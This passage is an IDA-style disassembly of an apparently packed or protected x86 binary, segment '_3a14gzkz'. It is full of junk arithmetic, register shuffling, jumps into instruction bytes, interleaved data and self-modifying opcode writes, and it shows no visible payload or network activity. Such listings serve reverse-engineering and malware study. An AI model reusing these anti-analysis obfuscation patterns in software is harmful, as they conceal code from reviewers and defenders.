SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002956E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100296DB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100296F1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10029797 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100297AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002982E SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg ebp, [esp+0] mov ecx, ebp pop ebp xchg ebx, [esp-8+arg_4] mov esi, ebx jmp loc_100272A9 ; --------------------------------------------------------------------------- align 10h dd 243C8700h, 8B992C5Fh, 0C8E9FC55h, 8, 0F0000C3h, 2C98Dh dd 0D9E90000h, 0 ; --------------------------------------------------------------------------- rol esi, 0Bh or ebp, 1FD4C133h xor eax, 0F03C17C9h jmp loc_10027372 ; --------------------------------------------------------------------------- dd 0C30000h ; --------------------------------------------------------------------------- loc_100270C8: ; CODE XREF: sub_1002781D-924j jmp loc_100296DB ; --------------------------------------------------------------------------- db 2 dup(0), 9Dh ; --------------------------------------------------------------------------- xchg ebx, [esp-8+arg_4] call eax jmp loc_1002752A ; --------------------------------------------------------------------------- dw 0F00h dd 0C4C8Dh, 0BCDC100h, 42E9F12Bh, 0Ch, 8B07C600h ; --------------------------------------------------------------------------- pop edi push ebp mov ebp, esp jmp loc_1002982E ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 6720DEF2h, 0C70E9EDh, 0E8580000h, 0FFFFFC43h db 2 dup(0) ; --------------------------------------------------------------------------- loc_1002710E: ; CODE XREF: sub_10029160+6j mov byte ptr [ebx], 0C3h pop ebx push 4E2CF4B3h pop edi jmp loc_10028B59 ; --------------------------------------------------------------------------- locret_1002711D: ; CODE XREF: sub_10028EFA:loc_100285EEj retn ; --------------------------------------------------------------------------- align 10h loc_10027120: ; CODE XREF: _3a14gzkz:100276E8j jmp nullsub_232 ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h ; DATA XREF: _3a14gzkz:10027A49o ; --------------------------------------------------------------------------- rcl ah, 1 fsubr st(5), st pop eax push offset loc_100287EA jmp nullsub_233 ; --------------------------------------------------------------------------- align 4 locret_10027138: ; CODE XREF: _3a14gzkz:1002900Cj retn ; --------------------------------------------------------------------------- align 2 loc_1002713A: ; CODE XREF: _3a14gzkz:100292C1j jmp loc_100288A6 ; --------------------------------------------------------------------------- align 10h dd 241C8700h, 689C535Bh, 20994E0Fh, 8B242C87h, 0A3E95DDDh ; CODE XREF: sub_1002707B+12BFp dd 14h, 8118C6C1h, 0E6838BEEh, 0FEC6810Dh, 0E945FA12h dd 2271h, 0B9F98100h, 0E95D25D1h, 434h db 0 ; --------------------------------------------------------------------------- loc_10027179: ; DATA XREF: sub_10027949+6o popf push ecx push offset loc_10027F13 jmp nullsub_234 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 push edx mov edx, offset word_1002772A jmp loc_1002956E ; --------------------------------------------------------------------------- db 51h dd 27C0FB9h, 0F36E910h db 2 dup(0) ; --------------------------------------------------------------------------- loc_1002719E: ; CODE XREF: sub_1002707B:loc_10026CF2j rol edx, 3 call sub_10027810 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- loc_100271A8: ; CODE XREF: _3a14gzkz:10028892j push ebx mov ebx, ebp push edx mov edx, offset loc_100297F4 jmp loc_10027962 ; --------------------------------------------------------------------------- align 4 push eax push 0BDF30E27h pop eax sub eax, 44E42F59h xor eax, 1689DA69h add esi, eax jmp loc_10028334 ; --------------------------------------------------------------------------- align 4 loc_100271D4: ; CODE XREF: sub_100297B3+9j mov byte ptr [edi], 8Bh xchg esi, [esp+0] mov edi, esi pop esi xchg ebx, [esp+8+var_8] jmp loc_100284FF ; --------------------------------------------------------------------------- db 2 dup(0), 1Bh ; --------------------------------------------------------------------------- retf 22E9h ; --------------------------------------------------------------------------- db 6 dd 0C3000000h, 1032E900h, 0 ; --------------------------------------------------------------------------- add ebx, 0B90EFABEh mov [ebx], eax pop ebx jmp loc_1002915A ; --------------------------------------------------------------------------- loc_10027206: ; DATA XREF: _3a14gzkz:10026E8Co lea eax, byte_10028707 push edi mov edi, ecx xchg edi, [esp+8+var_8] jmp loc_10027C6D ; --------------------------------------------------------------------------- loc_10027217: ; CODE XREF: sub_1002707B:loc_10027962j push offset loc_100297ED jmp loc_100293D6 ; --------------------------------------------------------------------------- loc_10027221: ; CODE XREF: sub_1002707B+223j jge near ptr byte_10028F8E mov edi, 3E9C97F7h jmp sub_100274A4 ; --------------------------------------------------------------------------- loc_10027231: ; CODE XREF: _3a14gzkz:100292F2j jl loc_10027F8A rol eax, 14h xchg ecx, eax loc_1002723C: ; CODE XREF: _3a14gzkz:loc_100291C9j sub edx, 9A4DB812h jmp loc_10028B38 ; --------------------------------------------------------------------------- locret_10027247: ; CODE XREF: sub_10028CB7:loc_10029364j retn ; --------------------------------------------------------------------------- locret_10027248: ; CODE XREF: sub_1002812C+12j retn ; --------------------------------------------------------------------------- db 2 dup(0), 87h dd 25C6E9F3h, 0BD000000h, 96FF9241h, 6EE92B8Bh, 0Bh, 0F4B9D081h dd 0E2E93748h, 0FFFFFAh, 0B9E9C28Bh, 0Eh db 0 ; --------------------------------------------------------------------------- loc_10027275: ; CODE XREF: sub_10027AB8-190j ; _3a14gzkz:loc_10028E4Aj push ebp mov ebp, edx xchg ebp, [esp+0] push esi mov esi, edi call sub_100279AD loc_10027283: ; CODE XREF: sub_1002707B+1833j mov ebp, [ecx] loc_10027285: ; CODE XREF: sub_1002707B:loc_100288A6j xor edi, 0F1021FE1h call loc_1002981A add [ecx-435B651Ah], al retn 0EA81h ; CODE XREF: _3a14gzkz:loc_10028298j ; --------------------------------------------------------------------------- mov ch, 99h fdivr qword ptr [edi+68h] jns short loc_10027221 add dl, [eax] jmp loc_100277E4 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_100272A9: ; CODE XREF: sub_1002707B+Fj xchg edx, [esp-8+arg_4] mov ebx, edx pop edx push 0D64DC404h jmp loc_100296F1 sub_1002707B endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_184. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- loc_100272BD: ; DATA XREF: sub_10028E0A:loc_1002910Bo add ebx, ebp add ebx, 30E9E5B9h mov [ebx], eax jmp loc_100289AE ; --------------------------------------------------------------------------- dd 0E8330000h, 0E90ECFC1h, 2312h, 1DE9C100h, 0EE9D033h ; CODE XREF: _3a14gzkz:10028B08j dd 3, 0E9D18B00h, 1208h, 2CE8AC00h, 0FFFFFAh, 232CE9h dd 0E9000000h, 19EAh, 211E8C0Fh, 34870000h, 890F5E24h dd 13CEh, 73ED058Dh, 0E9551002h, 12D8h, 0F101F181h, 0B7E9F6A7h dd 8700000Ch, 359240Ch, 71F868DDh, 0B8E91002h, 0FFFFFEh dd 0B370CB81h, 0D8851747h, 489E9h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028A66 loc_10027347: ; CODE XREF: sub_10028A66:loc_10028B93j mov edi, ebp pop ebp push offset loc_100276CB jmp loc_10029151 ; END OF FUNCTION CHUNK FOR sub_10028A66 ; --------------------------------------------------------------------------- loc_10027354: ; CODE XREF: _3a14gzkz:10028D1Fj push offset word_1002898E jmp locret_10028798 ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_1002735F proc near ; CODE XREF: sub_1002707B:loc_10028C07p ; FUNCTION CHUNK AT 10027BAD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10027CCC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100285B9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002902C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10029073 SIZE 00000011 BYTES xchg ecx, [esp+0] pop ecx mov eax, [eax] or eax, eax jnz loc_10029078 jmp loc_100285B9 sub_1002735F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_10027372: ; CODE XREF: sub_1002707B+44j add eax, 656C7478h xor eax, 8F6F8437h add eax, ebp add eax, 29F0183Ch push ecx adc ecx, edx jmp loc_10028AEB ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- dw 358Bh dd offset off_10027B44 dd 0EB718D68h, 242C87C9h, 815DCD8Bh, 6B8954E1h, 6DA068E3h dd 0F0E91002h, 0FFFFF9h ; =============== S U B R O U T I N E ======================================= sub_100273B0 proc near ; DATA XREF: sub_1002707B:loc_1002804Bo var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10027A3B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10027E8A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10028069 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002825E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10028487 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100287A0 SIZE 00000005 BYTES push ebp mov ebp, ecx xchg ebp, [esp+4+var_4] mov ecx, offset loc_10027A4F jmp loc_10028069 sub_100273B0 endp ; --------------------------------------------------------------------------- push offset dword_100280E4 jmp loc_1002914B ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_100273CB proc near ; CODE XREF: sub_10027810:loc_10029843p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 100292C7 SIZE 00000010 BYTES xchg eax, [esp+0] pop eax mov byte ptr [edx], 29h pop edx jmp loc_100292C7 sub_100273CB endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_100273D8: ; CODE XREF: _3a14gzkz:10028257j push offset loc_1002858F jmp loc_100293AE ; --------------------------------------------------------------------------- dw 0C300h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10026F69 loc_100273E6: ; CODE XREF: sub_10026F69+7j jmp nullsub_246 ; END OF FUNCTION CHUNK FOR sub_10026F69 ; --------------------------------------------------------------------------- align 4 dd 6CDA6800h, 0D7E91002h, 1, 2DBF5000h, 0E9F7273Ah, 4A2h ; DATA XREF: _3a14gzkz:loc_10029389w ; _3a14gzkz:10029390w dd 0C63B0000h, 1C3CE9h, 810F0000h, 0FBBh, 3DBE9h, 0CF810000h dd 44D213CDh, 4120C781h, 0E7815344h, 1D5B700Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100279AD loc_1002742C: ; CODE XREF: sub_100279AD:loc_10028C7Aj add edi, 0F6E856C1h jmp loc_10028DC6 ; END OF FUNCTION CHUNK FOR sub_100279AD ; --------------------------------------------------------------------------- loc_10027437: ; CODE XREF: _3a14gzkz:100285F4j mov ebp, ecx xchg ebp, [esp] push 5C901A3h pop ecx xor ecx, 6C18AD0Ah sub ecx, 0CFE91F9Ch add ecx, 7619FDA6h jmp loc_100275A5 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 0D8981h, 24348700h, 8B241487h, 1EC8E9F2h, 850F0000h dd 0A3Eh ; --------------------------------------------------------------------------- loc_10027474: ; CODE XREF: sub_1002707B+1AA4p xchg esi, [esp] pop esi add edi, 242EC2BBh call sub_10027586 add [ebx+68h], bl ; CODE XREF: sub_10027AC8:loc_10028EF1j db 26h jnp short loc_1002748B adc cl, ch loc_1002748B: ; CODE XREF: _3a14gzkz:10027486j xchg eax, esp push es ; --------------------------------------------------------------------------- db 3 dup(0) dd 7E036800h, 4CE91002h, 0Eh, 0DE92B89h, 0FFFFF9h ; =============== S U B R O U T I N E ======================================= sub_100274A4 proc near ; CODE XREF: sub_1002707B+1B1j ; sub_1002735F+1D1Bp arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 100274E4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1002768E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 100278FD SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10027CE3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002801B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028092 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100280AA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100282ED SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10028491 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 100286B9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10028AF5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10028C2F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10029097 SIZE 0000000C BYTES xchg edi, [esp+0] loc_100274A7: ; CODE XREF: _3a14gzkz:loc_1002954Bj xchg edx, [esp+0] mov edi, edx pop edx or eax, eax jmp loc_100280AA sub_100274A4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 830F0000h, 23DAh, 0C5E9h, 9C000000h, 9A9D1868h, 0E181592Ah dd 0BD2C6830h, 8114C1C1h, 0D53BC3E1h, 54BF57C9h, 0E9100270h dd 19B0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100274A4 loc_100274E4: ; CODE XREF: sub_100274A4+1657j jno loc_1002768E shl edx, 3 jge loc_100278FD loc_100274F3: ; CODE XREF: sub_100274A4:loc_100282EDj jmp loc_10028491 ; END OF FUNCTION CHUNK FOR sub_100274A4 ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_180. PRESS KEYPAD "+" TO EXPAND] align 4 jmp loc_10028B02 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_10027C41 loc_10027502: ; CODE XREF: sub_10027C41+15ACj push eax jmp loc_10028581 ; END OF FUNCTION CHUNK FOR sub_10027C41 ; --------------------------------------------------------------------------- loc_10027508: ; CODE XREF: _3a14gzkz:10027A34j sub ecx, 7C9FF87Bh add ecx, 0F76C802Bh popf xchg ecx, [esp] retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028A10 loc_10027519: ; CODE XREF: sub_10028A10+Cj jmp loc_10028622 ; END OF FUNCTION CHUNK FOR sub_10028A10 ; --------------------------------------------------------------------------- dw 1092h ; --------------------------------------------------------------------------- jmp loc_1002906D ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_237. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_1002752A: ; CODE XREF: sub_1002707B+5Aj jmp loc_10027DF8 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- align 10h dd 189EE900h, 0 ; --------------------------------------------------------------------------- xor ebx, 0E19C9B6Bh jmp sub_100289FE ; --------------------------------------------------------------------------- loc_10027543: ; DATA XREF: sub_1002812C+162Fo add edx, eax rol edx, 3 xor edx, eax loc_1002754A: ; DATA XREF: sub_1002812C:loc_1002877Co dec ecx jnz loc_10029225 jmp loc_1002760D ; --------------------------------------------------------------------------- dw 0F00h dd 22718Ch, 23000000h, 225CE9DEh, 0C6000000h, 875B8B03h ; CODE XREF: sub_10028B63:loc_10027BA8j dd 0F08B2404h, 75F68158h, 0C1E5122Bh, 0EE8115C6h, 0D27C8737h dd 0E36E9h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_10027586 proc near ; CODE XREF: _3a14gzkz:1002747Ep xchg ecx, [esp+0] pop ecx push offset byte_1002832B jmp nullsub_179 sub_10027586 endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002883B loc_10027595: ; CODE XREF: sub_1002883B+10j mov edx, [eax] call sub_10028ED3 ; END OF FUNCTION CHUNK FOR sub_1002883B ; --------------------------------------------------------------------------- dd 38E90000h, 13h ; CODE XREF: sub_10027CEA+30j db 0 ; --------------------------------------------------------------------------- loc_100275A5: ; CODE XREF: _3a14gzkz:10027454j jmp loc_10029487 ; --------------------------------------------------------------------------- align 4 jz loc_100290AB ; =============== S U B R O U T I N E ======================================= sub_100275B2 proc near ; CODE XREF: _3a14gzkz:10028B54p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10028057 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028601 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002903F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100290A4 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 100295D3 SIZE 00000013 BYTES xchg ecx, [esp+0] pop ecx push 5F384919h jmp loc_100290A4 sub_100275B2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 5300C300h, 28C41BBh, 4ABE910h, 0C30000h, 939EC381h ; CODE XREF: _3a14gzkz:loc_10028DBFj ; DATA XREF: _3a14gzkz:10029397w dd 1C8707E1h, 779E924h, 63B80000h, 9100193h, 0D840FC0h dd 0E9000008h, 1B16h db 0 ; --------------------------------------------------------------------------- loc_100275F1: ; CODE XREF: _3a14gzkz:loc_10028B02j push offset loc_10026DC1 jmp loc_10026DE8 ; --------------------------------------------------------------------------- loc_100275FB: ; CODE XREF: _3a14gzkz:1002931Bj retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_100275FD: ; CODE XREF: _3a14gzkz:10027BC5j call sub_10029627 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_181. PRESS KEYPAD "+" TO EXPAND] dd 1B3FE900h db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_238. PRESS KEYPAD "+" TO EXPAND] align 4 db 0 ; --------------------------------------------------------------------------- loc_1002760D: ; CODE XREF: _3a14gzkz:10027551j jmp loc_10028A49 ; --------------------------------------------------------------------------- align 4 loc_10027614: ; DATA XREF: sub_100286F4-306o add eax, 0FCDF3D5h popf xchg eax, [esp] jmp loc_10027970 ; --------------------------------------------------------------------------- align 4 dd 8CAE900h, 0E9000000h, 896h, 5B241C87h, 9CE88158h, 816CB803h dd 0B2851C0h, 2404875Bh, 0FFF7C6E9h, 348700FFh, 24148724h dd 0E95AF28Bh, 16A8h, 68530000h, 19112B2Ch, 79EB815Bh dd 81D69ECCh, 3924ABF3h, 1FC38180h, 344837Ah, 4DEE9DDh dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_1002767C: ; CODE XREF: sub_1002707B+A91j sub eax, 0D94B3F07h or eax, 8BE0B987h sub eax, 4BDE95FBh ; END OF FUNCTION CHUNK FOR sub_1002707B ; START OF FUNCTION CHUNK FOR sub_100274A4 loc_1002768E: ; CODE XREF: sub_100274A4:loc_100274E4j add eax, 0ABFC51D4h call sub_10029734 add cl, ch ; CODE XREF: _3a14gzkz:100293F7j int 3 ; Trap to Debugger pop ss ; END OF FUNCTION CHUNK FOR sub_100274A4 ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h db 0 ; --------------------------------------------------------------------------- loc_100276A1: ; CODE XREF: _3a14gzkz:10026D0Dj mov byte ptr [esi], 87h push eax mov eax, offset loc_100291EA jmp loc_1002778F ; --------------------------------------------------------------------------- align 10h dd 0E6E28100h, 0D1CE23E5h, 0C8830FC2h, 0F00000Fh, 5B38Bh dd 1110E900h db 3 dup(0) ; --------------------------------------------------------------------------- loc_100276CB: ; DATA XREF: sub_10028A66-171Co pushf push 373DAE1Bh xchg ecx, [esp] mov eax, ecx pop ecx sub eax, 0A642A920h jmp loc_10027A9E ; --------------------------------------------------------------------------- dw 6800h dd offset byte_100289F3 ; --------------------------------------------------------------------------- jmp loc_10027120 ; --------------------------------------------------------------------------- align 2 loc_100276EE: ; DATA XREF: sub_100276FC+3o pop ecx pushf push offset loc_10027A22 jmp loc_100277C8 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100276FC proc near ; CODE XREF: _3a14gzkz:loc_10029066p ; FUNCTION CHUNK AT 100289B4 SIZE 00000005 BYTES xchg ecx, [esp+0] push offset loc_100276EE jmp loc_100289B4 sub_100276FC endp ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_10028A3B loc_1002770A: ; CODE XREF: sub_10028A3B+7j call near ptr sub_10028150 add cl, ch pop ecx or [eax], al add cl, ch ; CODE XREF: _3a14gzkz:loc_1002972Ej sar ecx, cl ; END OF FUNCTION CHUNK FOR sub_10028A3B ; --------------------------------------------------------------------------- db 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_234. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1002771B: ; CODE XREF: _3a14gzkz:10028DFFj jmp locret_100291C6 ; --------------------------------------------------------------------------- dd 0D71B0000h, 5F243C87h db 3Ch, 0A4h word_1002772A dw 850Fh ; DATA XREF: sub_1002707B+10Eo dd 7, 0FFF60CE9h, 870000FFh, 2BE9242Ch, 1 ; --------------------------------------------------------------------------- loc_10027740: ; DATA XREF: _3a14gzkz:1002974Bo push 3AD50936h pop edx xor edx, 490E0DFCh add edx, 159F787h cmp edx, 395A605Bh jmp loc_1002896E ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_1002707B loc_1002775E: ; CODE XREF: sub_1002707B+BFDj mov byte ptr [esi], 0C6h pop esi pop ecx xor ecx, 0DA4CA5C8h jmp loc_10028E8D ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_1002776F: ; CODE XREF: sub_1002707B:loc_10028D2Bj mov byte ptr [ecx], 8Bh pop ecx call sub_10027949 add [edi], cl or byte ptr [esp+edx+0], 0 add cl, ch push ss or al, 0 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- db 0 dd 33890000h, 0FFF8BBE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] locret_1002778E: ; CODE XREF: _3a14gzkz:10026E91j retn ; --------------------------------------------------------------------------- loc_1002778F: ; CODE XREF: _3a14gzkz:100276AAj jmp loc_100280CE ; --------------------------------------------------------------------------- cdq ; =============== S U B R O U T I N E ======================================= sub_10027795 proc near var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10027992 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 10029403 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push eax mov eax, edx xchg eax, [esp+0] jmp loc_10027992 sub_10027795 endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_100277A5: ; CODE XREF: _3a14gzkz:loc_100294B0j ; _3a14gzkz:100294BEj call near ptr sub_10029499 add cl, ch ; CODE XREF: sub_100283CF+Aj add al, 0Bh ; --------------------------------------------------------------------------- dw 0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_100277B2: ; DATA XREF: sub_10026C78+4o add edx, eax rol edx, 3 call near ptr sub_1002812C locret_100277BC: ; CODE XREF: _3a14gzkz:loc_100291CFj retn ; --------------------------------------------------------------------------- align 2 loc_100277BE: ; CODE XREF: _3a14gzkz:10028376j jmp near ptr word_10026C86+1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_100277C3: ; CODE XREF: sub_1002707B+128Dj jmp loc_10028C07 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- loc_100277C8: ; CODE XREF: _3a14gzkz:100276F5j jmp near ptr dword_10027090+10h ; --------------------------------------------------------------------------- align 2 jbe loc_10028860 loc_100277D4: ; CODE XREF: _3a14gzkz:loc_10029208j sub edi, 186E8AC5h call sub_100288C7 ; START OF FUNCTION CHUNK FOR sub_1002812C loc_100277DF: ; CODE XREF: sub_1002812C+1634j jmp nullsub_245 ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_100277E4: ; CODE XREF: sub_1002707B+227j jmp locret_10028170 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- align 2 add edi, esi mov edi, [esi] jmp sub_1002883B ; --------------------------------------------------------------------------- align 4 dd 5E243487h, 9DC69F68h, 0C2815A19h, 0DD56B14h, 1B4890Fh db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028BD0 loc_1002780B: ; CODE XREF: sub_10028BD0+Aj jmp loc_10028165 ; END OF FUNCTION CHUNK FOR sub_10028BD0 ; =============== S U B R O U T I N E ======================================= sub_10027810 proc near ; CODE XREF: sub_1002707B+126p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 100279DD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10027F40 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10028AE4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10029843 SIZE 00000006 BYTES xchg eax, [esp+0] pop eax xor edx, eax dec ecx jmp loc_10027F40 sub_10027810 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_1002781D proc near ; CODE XREF: sub_10028EFA-911p ; FUNCTION CHUNK AT 10026E77 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10026EE4 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10026F8C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10027B6C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100286D2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028B99 SIZE 00000005 BYTES xchg esi, [esp+0] loc_10027820: ; CODE XREF: _3a14gzkz:loc_10027F7Ej xchg ebp, [esp+0] mov esi, ebp pop ebp push esi mov esi, edx xchg esi, [esp+0] push edi jmp loc_10028B99 sub_1002781D endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 8100h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- lds ecx, [ebx] xor ecx, edi call sub_10028A3B jmp loc_100292A8 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028ED3 loc_10027845: ; CODE XREF: sub_10028ED3+2B6j push 77E9BD14h js loc_1002982E loc_10027850: ; CODE XREF: sub_10028ED3:loc_10029320j push esi push edx pop esi jmp loc_10028189 ; END OF FUNCTION CHUNK FOR sub_10028ED3 ; --------------------------------------------------------------------------- dd 1C870000h, 24048724h, 0E958D88Bh, 0AA7h, 59550000h dd 8B243C87h, 0BB535FEFh, 10027B9Fh, 17DEE9h, 0E9DF0B00h dd 0FFFFFC0Dh ; --------------------------------------------------------------------------- loc_10027884: ; CODE XREF: _3a14gzkz:loc_10026ED8j mov byte ptr [esi], 8Bh pop esi xchg edx, [esp] mov eax, edx pop edx add eax, 0DB988541h push offset dword_10026EAC jmp loc_10028660 ; --------------------------------------------------------------------------- dw 0B00h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- jmp sub_100286F4 ; --------------------------------------------------------------------------- xchg edi, [esp] pop edi call ds:dword_1001E0C0 ; ExitProcess push edi jmp loc_10027DBA ; --------------------------------------------------------------------------- dw 8B00h ; --------------------------------------------------------------------------- jnz short $+2 sub eax, edx jmp sub_100283CF ; --------------------------------------------------------------------------- align 2 sub esi, 21E10240h add esi, 32B4A192h call sub_10026F69 loc_100278D3: ; CODE XREF: _3a14gzkz:1002926Bj jmp loc_100293F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028EB5 loc_100278D8: ; CODE XREF: sub_10028EB5+18j or eax, 0DF85A4E0h and eax, 0C6CFACF3h add eax, 493C347Ch ; END OF FUNCTION CHUNK FOR sub_10028EB5 ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_100278EA: ; CODE XREF: sub_10028DD4:loc_10028A92j call sub_1002883B ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- db 0 dd 0F27E900h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100295A6 loc_100278F8: ; CODE XREF: sub_100295A6-2642j jmp near ptr dword_10026E10+4Bh ; END OF FUNCTION CHUNK FOR sub_100295A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100274A4 loc_100278FD: ; CODE XREF: sub_100274A4+49j cdq jmp loc_10029097 ; END OF FUNCTION CHUNK FOR sub_100274A4 ; --------------------------------------------------------------------------- align 4 xchg esi, [esp] mov eax, esi pop esi ; START OF FUNCTION CHUNK FOR sub_10027AB8 loc_1002790A: ; CODE XREF: sub_10027AB8+D0Ej sub eax, 3C358892h xor eax, 0C525D9E8h or eax, 0C3552E0Bh and eax, 7EC56EE7h add eax, 99BC325Ah jmp loc_10027275 ; END OF FUNCTION CHUNK FOR sub_10027AB8 ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_224. PRESS KEYPAD "+" TO EXPAND] align 10h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_225. PRESS KEYPAD "+" TO EXPAND] dw 8700h dd 815E2434h, 0E0751FC0h, 0FB4FE893h, 0EF13FFFFh, 0FFFFEAE9h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_10027949 proc near ; CODE XREF: _3a14gzkz:10026EDFj ; sub_1002707B+6F8p xchg eax, [esp+0] pop eax mov eax, [eax] push offset loc_10027179 jmp nullsub_230 sub_10027949 endp ; --------------------------------------------------------------------------- align 2 retn ; --------------------------------------------------------------------------- 